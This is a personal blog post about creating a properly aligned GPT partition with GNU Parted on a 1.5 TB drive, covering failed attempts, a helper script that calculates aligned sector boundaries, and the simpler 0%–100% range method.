Pay attetion to the details. It would be advisable to target a correct drive. In my case a regular JBOD-drive really appears as /dev/sda on the Linux-side. On your case, I'm pretty sure your operating system runs on /dev/sda, so please don't wipe that.
Then with GNU Parted, create a GUID partition table (or GPT):
# parted /dev/sda
GNU Parted 3.1
Using /dev/sda
Welcome to GNU Parted! Type 'help' to view a list of commands.
(parted) mktable gpt
That's it for the preparation part.
Attempt 1: The stupid way
Regardless what's on the drive already (in my case, its completely empty), Parted syntax allows an approach, where you create a partition using the maximum allowed capacity from start 0, to end -1. Like this:
(parted) mkpart LVM ext4 0 -1
Warning: The resulting partition is not properly aligned for best performance.
Ignore/Cancel? c
That obviously will emit an error about non-optimal partition alignment. But hey, that's what I asked for. I obviously cancelled that attempt.
Attempt 2: The smart way
A smart approach would be to see about the boundaries:
(parted) print free
Model: ATA WDC WD1502FAEX-0 (scsi)
Disk /dev/sda: 1500GB
Sector size (logical/physical): 512B/512B
Partition Table: gpt Disk Flags:
Number Start End Size File system Name Flags
17.4kB 1500GB 1500GB Free Space
Now we have a range of 17.4 KiB to 1500 GiB which can be used for a new partition. Let's try that:
(parted) mkpart LVM ext4
Start? 17.4kB
End? 1500GB
Warning: You requested a partition from 16.9kB to 1500GB (sectors 33..2929687500).
The closest location we can manage is 17.4kB to 1500GB (sectors 34..2930277134).
Is this still acceptable to you? Yes/No? y
Warning: The resulting partition is not properly aligned for best performance.
Ignore/Cancel? c
I have bumped into this number of times earlier. Why in the f**k cannot the Parted tell me what values it wants to see there!! Come on!
This is the part where it hits me like a hammer: enough bullshit, let's solve this once and for all!
Attempt 3: Solution
This is the script I wrote: parted_mkpart_calc.sh.
It is based on the information found from following sources:
- How to align partitions for best performance using parted, somebody else is having the same fight than I do
- I/O Limits: block sizes, alignment and I/O hints, information about the Parted alignment calculation
- https://www.kernel.org/doc/Documentation/ABI/testing/sysfs-block, Linux kernel block-device ABI information
It is a Bash-script to do the math for you. Example usage:
$ ./parted_mkpart_calc.sh sda
Using default 1 MiB default alignment in calc
Calculated alignment for /dev/sda (gpt) is: 2048s
If you would be root, you could create partition with:
# parted /dev/sda mkpart [name] [type] 2048s 2930276351s
Verify partition alignment with:
# parted /dev/sda align-check optimal 1 Should return: 1 aligned
I just enter one argument to the script: sda. From that, the script deduces the alignment, that should be used when partitioning that block-device. In this case it is 2048 sector boundaries (what it doesn't say is, that a sector contains 512 bytes). But it outputs 2 commands which can be copy/pasted (as root):
parted /dev/sda mkpart [name] [type] 2048s 2930276351s
If you would replace [name] with a partition name and [type] with a partition type, it would create a correctly aligned partition to fill up most of the drive. It won't fill up exactly all of the drive, because of the alignment issues.
To help that issue, I added a feature to do the following:
$ ./parted_mkpart_calc.sh sda LVM ext4
Optionally, you can provide the partition name and type on the command line to get:
parted /dev/sda mkpart LVM ext4 2048s 2930276351s
as output. That's ready-to-go copy/paste material.
Finally, you can verify the correct alignment:
# parted /dev/sda align-check optimal 1
1 aligned
That's the proof, that calc worked ok.
Attempt 4: The simple way
It didn't take long, before I got my first comment on this article. It was simply: "Why didn't you use percentages?". What? What percentages.
Example:
(parted) unit s
(parted) print
Model: ATA WDC WD1502FAEX-0 (scsi)
Disk /dev/sda: 2930277168s
Sector size (logical/physical): 512B/512B
Partition Table: gpt
Disk Flags:
Number Start End Size File system Name Flags
1 2048s 2930276351s 2930274305s LVM
(parted) rm 1
(parted) mkpart LVM ext4 0% 100%
(parted) print
Model: ATA WDC WD1502FAEX-0 (scsi)
Disk /dev/sda: 2930277168s
Sector size (logical/physical): 512B/512B
Partition Table: gpt
Number Start End Size File system Name Flags
1 2048s 2930276351s 2930274305s LVM
Using range 0% 100% will produce exactly the same results. Amazing!
So, parted knows the alignment and can use it, but not if you don't first do a rain dance and knock three times on a surface sprinkled with holy water.
Final Words
Why does Parted complain about mis-alignment, but offers no help at all? That's just plain stupid!
Of course, I should add the feature to the source code and offer the patch to FSF, but on the other hand. Naah. I don't want to waste any more energy on this madness.
